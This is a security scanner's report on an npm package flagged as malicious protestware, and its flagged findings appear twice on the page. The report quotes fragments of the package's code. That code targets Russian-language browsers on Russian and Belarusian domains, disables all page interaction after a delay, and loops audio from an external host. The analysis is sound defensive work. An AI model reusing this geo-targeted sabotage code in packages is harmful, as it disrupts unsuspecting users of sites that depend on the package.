@esvndev/es-react-import-export@1.2.36: Malicious npm security | LPM Firewall

Loading npm security reports…

@esvndev/es-react-import-export@1.2.36: Malicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 1fd5c4ac69bd6067 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @esvndev/es-react-import-export@1.2.37 matchedPath = dist/index.js matchedIdentity = npm:[redacted]:1.2.37 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.jsView on unpkg

14905// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = new Date(); const initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiation', `${now}`);

High

Ai Review Evidence

Top-level code targets Russian-language browsers on Russian, Belarusian, or related domains.

dist/index.jsView on unpkg · L14905

14911} else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(() => { document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';

High

Ai Review Evidence

After its delayed trigger, the code disables all page pointer interaction.

dist/index.jsView on unpkg · L14911

14915ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(() => { ukrainianAnthem.play().catch(() => { // ignore }); }, 2500);

High

Ai Review Evidence

The code appends looping remote audio from flag-gimn.ru and attempts to play it automatically.

dist/index.jsView on unpkg · L14915

package.jsonView file

3"version": "1.2.36", "main": "dist/index.js",

High

Ai Review Evidence

The package entrypoint is dist/index.js, so its top-level browser code runs when the library is loaded.

package.jsonView on unpkg · L3

Source & flagged code

7 flagged

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 1fd5c4ac69bd6067 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @esvndev/es-react-import-export@1.2.37 matchedPath = dist/index.js matchedIdentity = npm:[redacted]:1.2.37 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.jsView on unpkg

14905// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = new Date(); const initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiation', `${now}`);

High

Ai Review Evidence

Top-level code targets Russian-language browsers on Russian, Belarusian, or related domains.

dist/index.jsView on unpkg · L14905

14911} else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(() => { document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';

High

Ai Review Evidence

After its delayed trigger, the code disables all page pointer interaction.

dist/index.jsView on unpkg · L14911

14915ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(() => { ukrainianAnthem.play().catch(() => { // ignore }); }, 2500);

High

Ai Review Evidence

The code appends looping remote audio from flag-gimn.ru and attempts to play it automatically.

dist/index.jsView on unpkg · L14915

package.jsonView file

Lines 1-23json

1{

2 "name": "@esvndev/es-react-import-export",

3 "version": "1.2.36",

4 "main": "dist/index.js",

High

Ai Review Evidence

The package entrypoint is dist/index.js, so its top-level browser code runs when the library is loaded.

package.jsonView on unpkg · L3

5